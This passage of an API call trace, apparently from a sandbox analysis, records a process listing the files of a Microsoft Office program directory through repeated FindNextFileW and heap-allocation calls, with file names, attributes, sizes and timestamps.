ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18a49800, ftCreationTime.dwHighDateTime=0x1cbae39, ftLastAccessTime.dwLowDateTime=0xa2045a20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x18a49800, ftLastWriteTime.dwHighDateTime=0x1cbae39, nFileSizeHigh=0x0, nFileSizeLow=0x911b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA0009.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d4df100, ftCreationTime.dwHighDateTime=0x1cba07f, ftLastAccessTime.dwLowDateTime=0xa6dee7e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3d4df100, ftLastWriteTime.dwHighDateTime=0x1cba07f, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000A.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64f18900, ftCreationTime.dwHighDateTime=0x1cba080, ftLastAccessTime.dwLowDateTime=0xa408e480, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x64f18900, ftLastWriteTime.dwHighDateTime=0x1cba080, nFileSizeHigh=0x0, nFileSizeLow=0xbb1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSS7DATA000C.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ab7000, ftCreationTime.dwHighDateTime=0x1c8d9fe, ftLastAccessTime.dwLowDateTime=0x51d354f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9ab7000, ftLastWriteTime.dwHighDateTime=0x1c8d9fe, nFileSizeHigh=0x0, nFileSizeLow=0x53f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Custom.propdesc", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b53d600, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd25e4820, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1b53d600, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x91170, dwReserved0=0x0, dwReserved1=0x0, cFileName="DATAGATH.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf942ba0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x124578, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBENGR.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2630ae0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x183c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSHARE.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2904500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x137b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3242fa00, ftCreationTime.dwHighDateTime=0x1cb7017, ftLastAccessTime.dwLowDateTime=0xd2a812c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3242fa00, ftLastWriteTime.dwHighDateTime=0x1cb7017, nFileSizeHigh=0x0, nFileSizeLow=0x1a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="DGRMLNCH.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.041] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x607d2d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x1c770, dwReserved0=0x0, dwReserved1=0x0, cFileName="DLGSETP.DLL", cAlternateFileName="")) returned 1 [0075.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Parts", cAlternateFileName="")) returned 1 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3357b00, ftCreationTime.dwHighDateTime=0x1cba075, ftLastAccessTime.dwLowDateTime=0xcfdb94e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa3357b00, ftLastWriteTime.dwHighDateTime=0x1cba075, nFileSizeHigh=0x0, nFileSizeLow=0x36160, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46d35b00, ftCreationTime.dwHighDateTime=0x1cba077, ftLastAccessTime.dwLowDateTime=0xd00b3060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x46d35b00, ftLastWriteTime.dwHighDateTime=0x1cba077, nFileSizeHigh=0x0, nFileSizeLow=0x8f3d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDP.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f6a020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x30968, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITOR.EXE", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2f90180, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xad88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITORS.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd2fdc440, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x3f988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMENTS.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd30c0c80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x237a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELEMUTIL.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31ae500, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe31ae500, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x25b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMABLT32.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.042] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0075.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x8578, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGIDX.DAT", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x4c22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENGLISH.LNG", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0xf380, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityDataHandler.dll", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0x51fbcc50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x41980, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPicker.dll", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x6094fb10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x35980, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DLL", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x81e8ee40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x14fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ERXIMP.ADD", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cdf900, ftCreationTime.dwHighDateTime=0x1cac26b, ftLastAccessTime.dwLowDateTime=0x5221e250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52cdf900, ftLastWriteTime.dwHighDateTime=0x1cac26b, nFileSizeHigh=0x0, nFileSizeLow=0x1aecb60, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.EXE", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8e14a00, ftCreationTime.dwHighDateTime=0x1cac1f0, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc8e14a00, ftLastWriteTime.dwHighDateTime=0x1cac1f0, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe.manifest", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd64d0300, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd64d0300, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0x17d6360, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnv.exe", cAlternateFileName="")) returned 1 [0075.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.043] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd51bd600, ftCreationTime.dwHighDateTime=0x1cac1f5, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd51bd600, ftLastWriteTime.dwHighDateTime=0x1cac1f5, nFileSizeHigh=0x0, nFileSizeLow=0xbd60, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelcnvpxy.dll", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x522443b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x1372c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRM.XML", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51243c00, ftCreationTime.dwHighDateTime=0x1c7ae59, ftLastAccessTime.dwLowDateTime=0x60acc8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51243c00, ftLastWriteTime.dwHighDateTime=0x1c7ae59, nFileSizeHigh=0x0, nFileSizeLow=0x13574, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXLIRMV.XML", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x73f50, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXSEC32.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd3159200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x533a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXTRACT.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd01e3b60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x18bf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="FACILITY.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3a780, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM.DLL", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMS", cAlternateFileName="")) returned 1 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc59cb00, ftCreationTime.dwHighDateTime=0x1c3e388, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcc59cb00, ftLastWriteTime.dwHighDateTime=0x1c3e388, nFileSizeHigh=0x0, nFileSizeLow=0x88933, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRENCH.LNG", cAlternateFileName="")) returned 1 [0075.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0075.044] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, 